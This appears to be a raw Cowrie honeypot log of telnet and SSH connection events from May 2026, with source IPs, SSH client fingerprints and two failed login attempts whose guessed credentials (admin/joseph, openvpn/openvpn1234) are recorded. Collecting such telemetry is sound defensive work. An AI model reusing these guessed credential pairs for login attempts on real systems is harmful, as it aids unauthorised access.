{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":38998,"dst_ip":"10.17.0.5","dst_port":23,"session":"383b2a6995fd","protocol":"telnet","message":"New connection: 62.72.47.216:38998 (10.17.0.5:23) [session: 383b2a6995fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:12.611515Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":41246,"dst_ip":"10.17.0.5","dst_port":23,"session":"809655eac61d","protocol":"telnet","message":"New connection: 62.72.47.216:41246 (10.17.0.5:23) [session: 809655eac61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:13.683496Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":39640,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c8f05a6cf40","protocol":"telnet","message":"New connection: 146.185.21.169:39640 (10.17.0.5:23) [session: 7c8f05a6cf40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:14.140014Z"}
{"eventid":"cowrie.session.closed","duration":49.71186351776123,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:14.478744Z","src_ip":"146.185.21.169","session":"e896d896224c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846383094787598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:15.064452Z","src_ip":"134.209.253.124","session":"e989990c00ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772611618041992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:16.045716Z","src_ip":"134.209.253.124","session":"5acc492785a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":48712,"dst_ip":"10.17.0.5","dst_port":23,"session":"56865de44470","protocol":"telnet","message":"New connection: 62.72.47.216:48712 (10.17.0.5:23) [session: 56865de44470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:16.921289Z"}
{"eventid":"cowrie.session.closed","duration":30.74964690208435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:19.078649Z","src_ip":"94.46.12.68","session":"8179cb22b850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":43012,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf11750f93d","protocol":"telnet","message":"New connection: 146.185.21.169:43012 (10.17.0.5:23) [session: 4cf11750f93d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:20.001028Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":43638,"dst_ip":"10.17.0.5","dst_port":23,"session":"4468137a2825","protocol":"telnet","message":"New connection: 146.185.21.169:43638 (10.17.0.5:23) [session: 4468137a2825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:21.200351Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":36568,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9cf90f3673","protocol":"telnet","message":"New connection: 146.185.21.169:36568 (10.17.0.5:23) [session: ec9cf90f3673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:21.279845Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":37086,"dst_ip":"10.17.0.5","dst_port":23,"session":"b993bbd873cd","protocol":"telnet","message":"New connection: 146.185.21.169:37086 (10.17.0.5:23) [session: b993bbd873cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:22.315697Z"}
{"eventid":"cowrie.session.closed","duration":61.454604625701904,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:23.317228Z","src_ip":"146.185.21.169","session":"7b66eac03da6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83289098739624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:23.428402Z","src_ip":"94.46.12.68","session":"dda07f9f8e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":44824,"dst_ip":"10.17.0.5","dst_port":23,"session":"b83de49d3383","protocol":"telnet","message":"New connection: 146.185.21.169:44824 (10.17.0.5:23) [session: b83de49d3383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:25.448194Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":38818,"dst_ip":"10.17.0.5","dst_port":23,"session":"f29d277021b1","protocol":"telnet","message":"New connection: 94.46.12.68:38818 (10.17.0.5:23) [session: f29d277021b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:26.829080Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":43502,"dst_ip":"10.17.0.5","dst_port":23,"session":"272570284327","protocol":"telnet","message":"New connection: 62.72.47.216:43502 (10.17.0.5:23) [session: 272570284327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:28.071832Z"}
{"eventid":"cowrie.session.closed","duration":31.072367906570435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:28.805273Z","src_ip":"94.46.12.68","session":"fda2dd08d147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":47242,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc7311120536","protocol":"telnet","message":"New connection: 146.185.21.169:47242 (10.17.0.5:23) [session: cc7311120536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:30.352443Z"}
{"eventid":"cowrie.session.closed","duration":30.720967292785645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:31.659644Z","src_ip":"146.185.21.169","session":"23ba9c592342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001224994659424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:32.161811Z","src_ip":"94.46.12.68","session":"d516fb0a881c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.312987804412842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:34.153858Z","src_ip":"62.72.47.216","session":"da10375234fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.368035554885864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:35.251802Z","src_ip":"62.72.47.216","session":"828e25a7a317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.99774670600891,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:35.749705Z","src_ip":"146.185.21.169","session":"c22cc2c0120a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84234094619751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:35.758924Z","src_ip":"146.185.21.169","session":"3c3c697926f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162364721298218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:36.236877Z","src_ip":"146.185.21.169","session":"e21debea0269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":58852,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c8871ff70bd","protocol":"telnet","message":"New connection: 146.185.21.169:58852 (10.17.0.5:23) [session: 8c8871ff70bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:37.366921Z"}
{"eventid":"cowrie.session.closed","duration":30.40011215209961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:39.170738Z","src_ip":"94.46.12.68","session":"0b8e6a0bfdd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.256391286849976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:39.292006Z","src_ip":"62.72.47.216","session":"7f5185bd52a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.159172773361206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:41.180078Z","src_ip":"146.185.21.169","session":"58d530105126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.561251640319824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:41.195530Z","src_ip":"62.72.47.216","session":"eef6cbda73ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059088945388794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:41.200286Z","src_ip":"62.72.47.216","session":"55d6a05253ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796056985855103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:41.355750Z","src_ip":"62.72.47.216","session":"1d4fc4feef91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":75.6818311214447,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:42.328458Z","src_ip":"146.185.21.169","session":"d48de58a18dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.661405324935913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:43.272784Z","src_ip":"62.72.47.216","session":"383b2a6995fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51422,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f4f05f1f87","protocol":"telnet","message":"New connection: 146.185.21.169:51422 (10.17.0.5:23) [session: 48f4f05f1f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:43.738619Z"}
{"eventid":"cowrie.session.closed","duration":30.525377988815308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:44.208739Z","src_ip":"62.72.47.216","session":"809655eac61d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946858167648315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:45.086755Z","src_ip":"146.185.21.169","session":"7c8f05a6cf40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.463577032089233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:48.384753Z","src_ip":"62.72.47.216","session":"56865de44470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":36774,"dst_ip":"10.17.0.5","dst_port":23,"session":"98a5afa064ce","protocol":"telnet","message":"New connection: 146.185.21.169:36774 (10.17.0.5:23) [session: 98a5afa064ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:49.055931Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":38418,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8fb3a45cf96","protocol":"telnet","message":"New connection: 146.185.21.169:38418 (10.17.0.5:23) [session: b8fb3a45cf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:49.694247Z"}
{"eventid":"cowrie.session.closed","duration":120.00119256973267,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:51.023797Z","src_ip":"98.51.244.245","session":"bc2f62f4261d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038864374160767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:51.039738Z","src_ip":"146.185.21.169","session":"4cf11750f93d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840190172195435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:52.040433Z","src_ip":"146.185.21.169","session":"4468137a2825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00131177902222,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:52.066235Z","src_ip":"193.27.197.205","session":"ee14caa4fd5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80508255958557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:52.084810Z","src_ip":"146.185.21.169","session":"ec9cf90f3673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778571128845215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:53.094157Z","src_ip":"146.185.21.169","session":"b993bbd873cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":43780,"dst_ip":"10.17.0.5","dst_port":23,"session":"5079fa87c553","protocol":"telnet","message":"New connection: 94.46.12.68:43780 (10.17.0.5:23) [session: 5079fa87c553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:54.338011Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50802,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4e14e8c9fc","protocol":"telnet","message":"New connection: 146.185.21.169:50802 (10.17.0.5:23) [session: ff4e14e8c9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:54.824072Z"}
{"eventid":"cowrie.session.closed","duration":30.630675077438354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:56.078718Z","src_ip":"146.185.21.169","session":"b83de49d3383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.336395263671875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:57.165345Z","src_ip":"94.46.12.68","session":"f29d277021b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.234623193740845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:59.306331Z","src_ip":"62.72.47.216","session":"272570284327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690637826919556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:01.042939Z","src_ip":"146.185.21.169","session":"cc7311120536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":35540,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fde21bcb3b1","protocol":"ssh","message":"New connection: 181.65.191.218:35540 (10.17.0.5:22) [session: 4fde21bcb3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:04.329149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:04.337497Z","src_ip":"181.65.191.218","session":"4fde21bcb3b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:04.450472Z","src_ip":"181.65.191.218","session":"4fde21bcb3b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"joseph","message":"login attempt [admin/joseph] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:04.925236Z","src_ip":"181.65.191.218","session":"4fde21bcb3b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:06.040297Z","src_ip":"181.65.191.218","session":"4fde21bcb3b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85602831840515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:08.222845Z","src_ip":"146.185.21.169","session":"8c8871ff70bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":34312,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0ecf77d9335","protocol":"telnet","message":"New connection: 146.185.21.169:34312 (10.17.0.5:23) [session: f0ecf77d9335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:12.699756Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":57224,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7cbee82637c","protocol":"ssh","message":"New connection: 115.190.179.68:57224 (159.203.135.109:22) [session: c7cbee82637c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:13.988809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:13.995608Z","src_ip":"115.190.179.68","session":"c7cbee82637c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.300240516662598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:14.038739Z","src_ip":"146.185.21.169","session":"48f4f05f1f87","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:14.218163Z","src_ip":"115.190.179.68","session":"c7cbee82637c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":58090,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5dccd3d0450","protocol":"telnet","message":"New connection: 94.46.12.68:58090 (10.17.0.5:23) [session: b5dccd3d0450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:14.743657Z"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn1234","message":"login attempt [openvpn/openvpn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:15.137861Z","src_ip":"115.190.179.68","session":"c7cbee82637c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:16.364354Z","src_ip":"115.190.179.68","session":"c7cbee82637c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.358590364456177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:20.052713Z","src_ip":"146.185.21.169","session":"b8fb3a45cf96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16189193725586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:20.217713Z","src_ip":"146.185.21.169","session":"98a5afa064ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24382996559143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:25.067778Z","src_ip":"146.185.21.169","session":"ff4e14e8c9fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.341430187225342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:25.679315Z","src_ip":"94.46.12.68","session":"5079fa87c553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":60228,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b7d063f803a","protocol":"telnet","message":"New connection: 146.185.21.169:60228 (10.17.0.5:23) [session: 3b7d063f803a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:26.446031Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":42834,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e37f9cbdba","protocol":"telnet","message":"New connection: 146.185.21.169:42834 (10.17.0.5:23) [session: 67e37f9cbdba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:33.863483Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":56314,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c0bf919d736","protocol":"telnet","message":"New connection: 94.46.12.68:56314 (10.17.0.5:23) [session: 4c0bf919d736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:40.171435Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":46326,"dst_ip":"10.17.0.5","dst_port":23,"session":"b15a36b44108","protocol":"telnet","message":"New connection: 62.72.47.216:46326 (10.17.0.5:23) [session: b15a36b44108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:43:44.589060Z"}
